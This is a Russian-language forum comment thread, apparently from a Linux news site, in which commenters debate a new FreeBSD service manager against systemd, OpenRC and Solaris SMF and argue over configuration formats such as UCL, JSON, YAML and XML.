  • 8.213, User (??), 13:32, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Редкий случай, когда хочется пожать мозолистую руку ... текст свёрнут, показать
     
  • 8.295, Ivan_83 (ok), 23:07, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Только в обморок не упадите -- configuration file width 200 height 300 back... текст свёрнут, показать
     
     
  • 9.370, Аноним (-), 01:17, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Квадратно гнездовое мышление это прекрасно, но 1 Обычный человек заведет себ... большой текст свёрнут, показать
     
     
  • 10.386, Ivan_83 (ok), 06:51, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Чел, ну серьёзно, ты админ или где У тебя есть десктоп, ноут, и ещё пара дескто... большой текст свёрнут, показать
     
     
  • 11.419, Аноним (419), 16:14, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Я не админ в чистом виде а скорее гибрид кастомдева и интегратора Конечно до ... большой текст свёрнут, показать
     
  • 6.144, Аноним (68), 03:25, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Да, у каждого свои приколы. И даже с приколами любой из них лучше зоопарка. Лишь бы использовался униформно.
     
     
  • 7.150, User (??), 05:55, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    /представил себе xml'ный кубик, содрогнулся/
    Неее, предпочитаю иметь возможность выбора инструмента под задачу.
     
     
  • 8.371, Аноним (-), 01:18, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Ты просто не видел что особо покусанные CSS эстеты могут из него сделать Он, та... текст свёрнут, показать
     
     
  • 9.390, User (??), 08:52, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Что значит не видел Я с xslt xquery работал так-то Я больше скажу - даже с... текст свёрнут, показать
     
     
  • 10.420, Аноним (419), 16:16, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    При том даже гугло с этим XSLT задолбалось и решило его таки - дропануть от грех... текст свёрнут, показать
     
     
  • 11.423, User (??), 16:31, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Ну, попробуйте как-нибудь jolt, сравните потом Ых Мнда Со пониманием, что т... текст свёрнут, показать
     
     
  • 12.450, Аноним (-), 00:37, 14/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Да ну вас нахрен, гугло уже показал что с вами делать - задропать всей оравой и ... большой текст свёрнут, показать
     
     
  • 13.453, User (??), 11:31, 14/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Да-да, осталось вот ещё сам класс соответствующих задач задропать и збст будет ... большой текст свёрнут, показать
     
     
  • 14.464, Аноним (-), 22:40, 17/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Прекрасно работает кстати Проверено гуглем А парсинг XML это целый сарай грабе... большой текст свёрнут, показать
     
     
  • 15.466, User (??), 06:56, 18/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Ну вот SAP-IBM-Oracle уговорите - и возвращайтесь Ну, т е парсинг с транфор... большой текст свёрнут, показать
     
  • 3.140, kusb reg (ok), 01:18, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    ini файлы это юникс вей
    ini файлы это юникс вей
    ini файлы это юникс вей
    ini файлы это юникс вей
    ini файлы
    это юникс вей
    юникс вей это ini файлы
    ini файлы
    ini файлы
    ini
     
  • 2.49, Аноним (49), 13:46, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    даже если бы они взяли системд , они бы его код все равно переписывали изза лицензии , под mit\bsd
     
  • 2.52, Аноним (52), 14:14, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Зачем делать велосипед, если его уже сдалали много миллионов раз (не путать изготовление с изобретением)
     
  • 2.102, Аноним (102), 21:07, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    Зачем изобретали systemd, если есть upstart, используемый Гуглом?
     

     ....большая нить свёрнута, показать (137)

  • 1.2, Аноним (3), 10:25, 10/09/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +17 +/–
    Вот и во freebsd будет свой systemd.
    Только зачем так усложнять синтаксис config файлов, автор Web разработкой по вечерам не увлекается ли?
     
     
  • 2.9, мяв (?), 10:40, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    потому что это видать не конфиг, а что-то интерпретируемо-обрабатываемое(обрабатывается как конфиг при старте и интерпретируется при ручных командах в сервис), типо как в openrc. но вопрос - зачем когда в опенрц это уже 100 лет в обед.
     
  • 2.28, Аноним (28), 12:07, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +2 +/–
    Потому что этот формат используют во FreeBSD уже много лет.
     
     
  • 3.76, Аноним (75), 16:38, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    > Потому что этот формат используют во FreeBSD уже много лет.

    Нет, вообще не используется.

    Посмотри на /etc/rc.conf, /etc/sysctl.conf, /etc/fstab... Что, много схожести видишь, лол?

     
     
  • 4.138, Аноним (28), 01:08, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    pkg.conf iovctl.conf
     
  • 4.167, Dmitry (??), 10:09, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Куча программ использует UCL конфиги.
    Ну и нативная поддержка через libucl есть

    Где ж вас таких набирают по объявлению ?

     
     
  • 5.262, Аноним (-), 18:52, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/–
    > Куча программ использует UCL конфиги.
    > Ну и нативная поддержка через libucl есть

    Кто все эти люди? И куча - это сколько конкретно? Нельзя ли весь список этого софта?

    > Где ж вас таких набирают по объявлению ?

    libucl-dev: Portable compression library - development.
    Homepage: https://www.oberhumer.com/opensource/ucl/

    Ну, э, да - граждане даже название проекта себе выбрать нормально не смогли! Настолько что клещ с немолодой либой Маркуса Оберхамера вышел. Сразу видна могучая фантазия, фэйл начинается с имени проекта.

     
  • 2.77, Аноним (75), 16:47, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    > Только зачем так усложнять синтаксис config файлов, автор Web разработкой по вечерам не увлекается ли?

    Автор увлекается NIH, а не веб-разработкой. В веб-разработке люди не страдают подобной туфтой и юзают стандартный JSON.

    А на васянских юниксоподелиях - пожалуйста - в 2026 новые форматы конфигов изобретают, лол. И свой нескучный init. Других проблем у современной Бзды нет, очевидно.

     
     
  • 3.106, User (??), 21:28, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Ну тут вот годик назад некие васяны (ты их наверное не знаешь - Google'ем кличут) kyaml изобрели. Глюпые, да...
     
     
  • 4.125, Аноним (75), 23:26, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > KYAML is a safer and less ambiguous subset of YAML

    Не изобрели, а попытались пофиксить корявый YAML.

     
     
  • 5.153, User (??), 06:21, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/–
    >> KYAML is a safer and less ambiguous subset of YAML
    > Не изобрели, а попытались пофиксить корявый YAML.

    Ну скажи, что эти вот "попытались пофиксить корявый JSON" - легче стало?

     
  • 4.164, Аноним (197), 09:54, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Вы кроме коверканья слов и инфантильности можете что-то умное сказать?
    >Глюпые, да...

    Вот вы же сами всё прекрасно понимаете, но играете на публику. Ответьте, какую именно проблему решает KYAML, когда уже есть json5? Или вы не заметили, как они ловким движением руки отломали возможность дозаписи без поломки синтаксиса?

     
     
  • 5.165, User (??), 10:01, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/–
    > Вы кроме коверканья слов и инфантильности можете что-то умное сказать?

    А какого ответа вы ждёте на претензии космических масштабов и космической глупости?


    > Вот вы же сами всё прекрасно понимаете, но играете на публику. Ответьте,
    > какую именно проблему решает KYAML, когда уже есть json5? Или вы
    > не заметили, как они ловким движением руки отломали возможность дозаписи без
    > поломки синтаксиса?

    Зачем нужен json5, когда есть xml?

     
     
  • 6.175, Аноним (197), 10:50, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    >А какого ответа вы ждёте на претензии космических масштабов и космической глупости?

    Вы играете в игру, кто скажет большую глупость?
    >Зачем нужен json5, когда есть xml?

    Для того, чтобы не путаться в грамматике. Или вы по прежнему соревнуетесь, кто большую глупость описывает?

     
     
  • 7.177, User (??), 10:55, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Не, я признаю вашу победу, чоужтут.

    Про дату появления yaml/json5 и такую штуку как обратная совместимость - даже и не спрашиваю, от лукавого это всё - могли бы и два несовместимых парсера поддерживать, лентяи.

     
     
  • 8.178, Аноним (197), 11:04, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Похоже вы продолжаете играть в игру на самый глупый комментарий Вы же сами напи... текст свёрнут, показать
     
     
  • 9.179, User (??), 11:14, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Ну, т е про то, что json5 появился лет на 10 позже, чем yaml и на момент выхода... текст свёрнут, показать
     
     
  • 10.194, Аноним (197), 11:52, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Дальше что Вы умеете мысли формулировать, или только вбрасывать Или вы предлаг... большой текст свёрнут, показать
     
     
  • 11.203, User (??), 12:21, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Ну, странно было бы предлагать google у выбрать вместо хорошо известного, зрелог... большой текст свёрнут, показать
     
     
  • 12.206, Аноним (197), 12:34, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Давайте конкретику, без всей этой воды Вы барабан крутите или как Откуда вдруг... текст свёрнут, показать
     
     
  • 13.209, User (??), 13:07, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Робот, позови человека Вы читать умеете или вот Китайская комната Это - букв... большой текст свёрнут, показать
     
     
  • 14.211, Аноним (197), 13:20, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Пока что вы умудряетесь только кривляться Сколько вам потребовалось времени, чт... текст свёрнут, показать
     
     
  • 15.212, User (??), 13:28, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Иопт Спасибо, но пожалуй уже хватит Глубину-глубин и широту широт вы уже проде... текст свёрнут, показать
     
     
  • 16.214, Аноним (197), 13:38, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Знаете, а ведь я только начал Если вы собираетесь спорить на технические темы, ... текст свёрнут, показать
     
     
  • 17.217, User (??), 14:06, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Не, ну можете продолжать позориться, жалко что ли Про обратную совместимость ... текст свёрнут, показать
     
     
  • 18.218, Аноним (197), 14:17, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Я вам сколько раз написал, что мысль надо развернуть А вы до сих пор про обрат... текст свёрнут, показать
     
     
  • 19.227, User (??), 15:22, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Вопрос не корректный Планов по отказу от использования yaml - официально - нет ... текст свёрнут, показать
     
     
  • 20.230, Аноним (197), 15:37, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Хорошо, следующий вопрос а почему меня вообще должна влиять несовместимость yam... текст свёрнут, показать
     
  • 21.232, User (??), 15:45, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Не-не-не Пжди, моя очередь Почему не JSON5 Custom DSL ДОШЛО наконец-то Или н... текст свёрнут, показать
     
  • 22.238, Аноним (197), 16:02, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Вы опять бежите впереди паровоза Kyaml это очередной костыль поверх yaml, котор... текст свёрнут, показать
     
  • 23.240, User (??), 16:08, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    gt оверквотинг удален Оуууу так написать да я ваш kubernetes в глаза не ви... большой текст свёрнут, показать
     
  • 24.241, Аноним (197), 16:13, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Вы не отвлекайтесь от темы Прогресс Теперь вы уже можете начать думать над тем... текст свёрнут, показать
     
  • 25.243, User (??), 16:15, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Эээээ а смысл её обсуждать с тем, кто про неё - literally - НИЧЕГО не знает ... текст свёрнут, показать
     
  • 26.247, Аноним (197), 16:27, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Опять намылились сверкая пятками уйти от исходной темы Вы до сих пор так и не о... текст свёрнут, показать
     
  • 27.252, User (??), 16:48, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Не-не-не, языком жестов я только послать могу Надо ... текст свёрнут, показать
     
  • 28.254, Аноним (197), 16:54, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Поздравляю с тем, что вы успешно расписались в своей некомпетентности ... текст свёрнут, показать
     
  • 29.255, User (??), 17:28, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Иди уже Праздновпть... текст свёрнут, показать
     
  • 3.120, Ivan_83 (ok), 22:05, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > В веб-разработке люди не страдают подобной туфтой и юзают стандартный JSON.

    А как же стандарт в виде XML везде?)

     
     
  • 4.126, Аноним (75), 23:28, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    > А как же стандарт в виде XML везде?)

    В каком "визде" ты видишь XML на вебе?

     
     
  • 5.132, Ivan_83 (ok), 00:16, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Ну как же, вот 20 лет назад все говорил что XML это самый стандартный стандарт, теперь такие же люди говоря за json, я прям второй раз поверить не готов :)
     
     
  • 6.145, Аноним (68), 03:27, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    SGML был, есть и остаётся главным стандартом веба. А уж в виде HTML или XML -- это дело десятое.
     
  • 6.154, User (??), 06:24, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > Ну как же, вот 20 лет назад все говорил что XML это
    > самый стандартный стандарт, теперь такие же люди говоря за json, я
    > прям второй раз поверить не готов :)

    Ну, у json'а есть одно маааааленькое преимущество, в виде "наличия реализации" этого вот стандарта. А с xml, когда я последний раз проверял - в природе не было ни одной полной реализации.

     
     
  • 7.157, Ivan_83 (ok), 07:35, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Это конечно да, но теперь вон yaml какой то есть, и хз что ещё.
     
  • 4.198, Аноним (-), 11:58, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    От настолько стандартный - что даже в вебе с этим их XHR XML HTTP REQUEST - з... большой текст свёрнут, показать
     
  • 3.139, Аноним (28), 01:10, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Он использует библиотеку для конфигов из базовой поставки FreeBSD. Он ничего не изобретал
     
     
  • 4.141, Аноним (75), 01:28, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > Он использует библиотеку для конфигов из базовой поставки FreeBSD. Он ничего не изобретал

    Мля, если он "ничего" не изобретал, то откуда появился этот очередной NIH формат и библиотека для него?

     
     
  • 5.149, Ivan_83 (ok), 05:30, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    UCL изобрели раньше и кажется автор тут иногда тусуется в коментах.
     
  • 3.160, 123 (??), 09:19, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/–
    JSON ужасен сам по своей природе, миру было бы легче, если бы его не существовало.
     
     
  • 4.187, Ivan_83 (ok), 11:39, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    XML ещё хуже в разы, с json хоть как то жить можно.
     
  • 2.105, User (??), 21:25, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Затем, что у типовых форматов для конфигурации есть хорошо известные проблемы, не? Правда в кастомном dsl они тоже будут... Но об этом сообщество(тм) догадается несколько позже)
     
     
  • 3.201, Аноним (-), 12:02, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > Затем, что у типовых форматов для конфигурации есть хорошо известные проблемы, не?
    > Правда в кастомном dsl они тоже будут... Но об этом сообщество(тм)
    > догадается несколько позже)

    А XKCD #927 они еще не посмотрели? Очень рекомендуется к просмотру.

     
  • 2.108, аноним анониму (?), 21:37, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > Только зачем так усложнять синтаксис config файлов, автор Web разработкой по вечерам не увлекается ли?

    выросло поколение systemd-админов, которые не могут распарсить файл сложнее ini. конфиг файрвол nftables в линуксе, видимо, тоже не видели.

    а мне формат от бздешников кажется самым адекватным для конфига.

     
     
  • 3.113, User (??), 21:47, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    >> Только зачем так усложнять синтаксис config файлов, автор Web разработкой по вечерам не увлекается ли?
    > выросло поколение systemd-админов, которые не могут распарсить файл сложнее ini. конфиг
    > файрвол nftables в линуксе, видимо, тоже не видели.

    Ээээ... С ним так-то через json api работают, и в общем от трёх разных синтаксисов fw в linux много у кого подгорает)

     
     
  • 4.400, нах. (?), 11:58, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > Ээээ... С ним так-то через json api работают, и в общем от
    > трёх разных синтаксисов fw в linux много у кого подгорает)

    помянутому поколению systemd-админов пофигу, через апи работает поделка которая для них источник обожествления без понимания устройства.

    А автор поделки обычно вообще ничего админить не умеет, решая все задачи reboot-reinstall.


     
     
  • 5.421, Аноним (419), 16:18, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/–
    >> Ээээ... С ним так-то через json api работают, и в общем от
    >> трёх разных синтаксисов fw в linux много у кого подгорает)
    > помянутому поколению systemd-админов пофигу, через апи работает поделка которая для них
    > источник обожествления без понимания устройства.

    Как минимум - конфиги sd выглядят компактными, простыми и визуально намного меньше мусора чем в вот этом вот счастье. Такой вот testimonials.

     
     
  • 6.424, нах. (?), 16:35, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    ну вот и подтверждение. источник обожествления без понимания.

     
     
  • 7.465, Аноним (-), 23:32, 17/09/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/–
    > ну вот и подтверждение. источник обожествления без понимания.

    Я всегда предпочитал какой-то такой формат конфигов vs вон то добро с кучей закорючек, сложной структурой и в результате - "художествами" - да еще в зубодробильном формате.

    Конфиг должен - параметры настраивать. А не заниматься, извините, хаками.

     
     
  • 8.467, нах. (?), 10:35, 18/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    типичный синдром утенка Впрочем я давно не верю что ты умеешь в какие-то конфиг... текст свёрнут, показать
     

     ....большая нить свёрнута, показать (57)

  • 1.6, Аноним (6), 10:37, 10/09/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/–
    Это не UNIX-way.
     
     
  • 2.17, warlock66613 (ok), 11:03, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Почему?
     
     
  • 3.24, xsignal (ok), 11:37, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/–
    Нарушены принципы kiss, ортогональности и децентрализации, теперь в FreeBSD тащат комбайн, "менеджер всего".
     
     
  • 4.36, warlock66613 (ok), 12:41, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +2 +/–
    KISS это вообще из другой оперы. Остальных нарушений не видно. Это не менеджер, это просто запускалка сервисов и она даже не PID 1.
     
     
  • 5.37, xsignal (ok), 12:44, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > Это не менеджер, это просто запускалка

    Как позиционировался systemd когда-то и к чему это пришло...

     
     
  • 6.56, warlock66613 (ok), 14:34, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +10 +/–
    Про systemd это всегда было враньём.
     
  • 5.38, xsignal (ok), 12:46, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > KISS это вообще из другой оперы

    "Эрик Рэймонд в своей книге The Unix Philosophy in One Lesson резюмирует философию UNIX как широко используемый принцип KISS" (Вики)

     
     
  • 6.55, warlock66613 (ok), 14:34, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    Если так понимать KISS, как его понимает Эрик, то обсуждаемый проект ему максимально соответствует. Нам надо запускать и менеджить сервисы -> самый простой способ решить эту проблему -- написать программу, которая будет запускать и менеджить сервисы.
     
     
  • 7.61, xsignal (ok), 15:29, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/–
    > написать программу

    По принципу KISS - это самое последнее, что нужно делать.

     
     
  • 8.72, warlock66613 (ok), 16:05, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +3 +/–
    Ну так всё остальное уже попробовали, получается не очень Так что да, перешли к... текст свёрнут, показать
     
  • 4.166, Аноним (197), 10:02, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • –4 +/–
    >Нарушены принципы kiss

    Никакого kiss никогда не существовало и существовать не может.
    >теперь в FreeBSD тащат комбайн, "менеджер всего"

    Потому, что все эти ваши kiss работают только в 90-ых, когда у вас самые примитивные задачи. А как только нужно что-то более сложное, чем считать упавшую программу запущенной, просто по наличию lock файла, то сложность shell портянок переходит все мыслимые пределы.

     
     
  • 5.188, xsignal (ok), 11:40, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +5 +/–
    > примитивные задачи

    Не задачи были примитивными, а решенения были простыми, потому что это делали гении IT. А сейчас до компьютеров дорвались профаны и превратили Linux и web в тарелку спагетти, поэтому и кажется, что всё стало сложно.

     
     
  • 6.199, Аноним (197), 12:00, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/–
    >Не задачи были примитивными, а решенения были простыми

    Ответьте, что проще микроволновка или костёр? Что можно разжечь в лесу подручными средствами, а что предложить ребёнку для того, чтобы подогреть еду? Только выберите один вариант.
    >поэтому и кажется

    Ыкспертиза. Мне вот не кажется, я - знаю.

     
     
  • 7.399, нах. (?), 11:55, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    > Ответьте, что проще микроволновка или костёр? Что можно разжечь в лесу подручными
    > средствами, а что предложить ребёнку для того, чтобы подогреть еду? Только

    да норм микроволновку можно разжечь, там обычно пластиковых деталей полно.

     
     
  • 8.451, Аноним (-), 00:44, 14/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    Эксперт в треде, как обычно То что они UL94 V0 скорее всего - как большая часть... текст свёрнут, показать
     
  • 2.447, Аноним (447), 22:47, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Небось системдэ в линуксе это юниксвэй?
     

  • 1.8, мяв (?), 10:38, 10/09/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +8 +/–
    спрашивается, зачем, когда в openrc ферст-класс поддержка бсд'ей ?
     
     
  • 2.33, Аноним (33), 12:21, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Чтоб было своё!
     
  • 2.43, Аноним (43), 13:12, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +3 +/–
    Обратная совместимость с прошлой системой, плюс гибкость под свои нужды, очевидно
     
  • 2.67, Аноним (67), 15:57, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Не взлетело.
    Так-то уже были 2 порта launchd, InitWare и ещё думали о переходе на nosh.
    В итоге решили, что это всё перестановка кроватей и даже доказали, что смена системы инициализации на время загрузки системы влияет слабо.
    В общем, тут консервативный подход победил.
     
  • 2.83, OpenEcho (?), 17:41, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > спрашивается, зачем, когда в openrc ферст-класс поддержка бсд'ей ?

    Этот чел имеет довольно большой вес в фряхе и давно уже пытается воплотить популярные концепты линукса, но чтоб было всё "своё", хотя не понятно чем ему не угодил ОпенРЦ с совместимой лицухой и теми же фичами

     
     
  • 3.93, Аноним (92), 20:31, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +2 +/–
    > чем ему не угодил ОпенРЦ

    NIH.

     
  • 3.121, Ivan_83 (ok), 22:08, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +2 +/–
    Как минимум тем что он не умеет читать те rc.d файлы что уже есть.
     
     
  • 4.186, OpenEcho (?), 11:39, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > Как минимум тем что он не умеет читать те rc.d файлы что уже есть.

    Make sense 👍

     
  • 2.372, Аноним (372), 01:25, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > спрашивается, зачем, когда в openrc ферст-класс поддержка бсд'ей ?

    Затем что в сабже всегда клали на кооп, особенно со всякими там линуксоидами. Да и с остальными бсд заодно. А вы думали что они просто так попали в то состояние в котором они пребывают? А вот и нет. Они всегда клали и на линухи и на другие бсд и глупости типа совместимости с ними.

     

  • 1.12, manchelsi (ok), 10:43, 10/09/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/–
    > Системный менеджер полностью обратно совместим с существующей системой последовательного запуска сервисов rc.d

    Когда-то и systemd так поступал с init.d, а теперь WARNING DEPRECATED

     
     
  • 2.220, Аноним (220), 14:41, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    И сколько лет варнинг остаётся варнингом?
     
     
  • 3.276, Аноним (276), 20:13, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    Всё, начиная с 260 дропнули поддержку.
     
  • 3.373, Аноним (-), 01:30, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/–
    > И сколько лет варнинг остаётся варнингом?

    Вот как раз на днях задропали - поддержку генерации юнитов sd из sysv файлов и прочий compat типа runlevels. Таки у s-d намного крутые и гибкие концепции "target". Их может быть сколько надо - и под довольно разные цели.

    Runlevels вообще - весьма дубовые. И если вам оно не подошло - упс, а это прибито на гвозди и что хотите то и делайте. Т.е. городите фееричные костыли. Таргетами можно сделать больше "состояний системы", более разных. А, ну да, граждане концептуалы о том что это может быть полезно - догадаются еще лет через ...цать. Может быть. Но это не точно.

     

  • 1.13, Аноним10084 и 1008465039 (?), 10:46, 10/09/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +2 +/–
    В Solaris говорят хороший инициализатор, интересно равняются ли на него?
     
     
  • 2.16, Аноним (16), 10:58, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/–
    Лучше б не говорили.
     
     
  • 3.20, Аноним10084 и 1008465039 (?), 11:23, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > Лучше б не говорили.

    Почему?

     
  • 3.65, Аноним (90), 15:39, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    А что Upstart? Гугель вон до сих пор его использует.
     
     
  • 4.277, Аноним (276), 20:21, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Гугель ещё в прошлом году сказал, что будет делать ChromeOS на базе Android.

    То есть, правильнее сказать, что пока ещё использует.

     
  • 4.374, Аноним (-), 01:31, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > А что Upstart? Гугель вон до сих пор его использует.

    Апсрат он. Для эксплуатации абсолютно не годится - удачи в нем стартануть ЗА софтиной которая вам нужна для вашей корректной работы, и чтоб так вписаться - ВАШИМИ конфигами без трогания конфигов других программ.

    А гугл что, у них фуксия уже захватывала мир. Им не привыкать.

     
  • 2.32, Аноним (33), 12:18, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +3 +/–
    SMF имеет большую функциональносить, и связан с управлением ресурсами (проектами) и RBAC в Solaris'е, просто взять  и перенести во FreeBSD не получится.
    К тому же его конфигурационный файл пишется на XML, а во FreeBSD XML не любят.
     
  • 2.35, ф1231 (?), 12:39, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    и где сейчас ваш соларис?
     
     
  • 3.47, Аноним10084 и 1008465039 (?), 13:39, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/–
    > и где сейчас ваш соларис?

    Вдохновил современный инит в Линуксе

     
     
  • 4.375, Аноним (-), 01:33, 13/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    >> и где сейчас ваш соларис?
    > Вдохновил современный инит в Линуксе

    Там, к счастью, обошлись без XML и кеширования оного в какой там еще бинарный скулайт и заморочек с синхронизацией всего этого, или что там у них за брейнфак.

    А так то и контейнеры с cgroups наверное "по мотивам" тех или иных фич. А у сабжа и с cgroups - аналогично...

     
  • 3.163, Аноним (163), 09:53, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Illumos
     
     
  • 4.278, Аноним (276), 20:25, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Первый помощник некроманта, да.
     
  • 2.40, yylloc (-), 12:50, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    Он гвоздями прибит туда хлеще чем systemd
     
     
  • 3.46, Аноним10084 и 1008465039 (?), 13:39, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > Он гвоздями прибит туда хлеще чем systemd

    Так я говорю равняться на него, а не копировать

     
  • 2.107, User (??), 21:30, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    Врут. Нет, если вы любите нескучный xml...
     
     
  • 3.110, аноним анониму (?), 21:41, 10/09/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/–
    его изобретали, когда кроме xml, ничего не было. он хорош с оговорками: 1. применительно к серверной системе 2. для начала 2000х
     
     
  • 4.280, нах. (?), 20:28, 11/09/2026 [^] [^^] [^^^] [ответить]  
  • +/–
    > его изобретали, когда кроме xml, ничего не было. он хорош с оговорками:

    его изобретали чтоб эти xml'и никогда _руками_ не ковырять.

    > 1. применительно к серверной системе 2. для начала 2000х

    ты забыл уточнить - серверной системе на платной поддержке где админ что-то вроде робота, выполняющего непонятные ему команды по телефону.
    Чем меньше он мог сломать по ошибке - тем лучше.


     
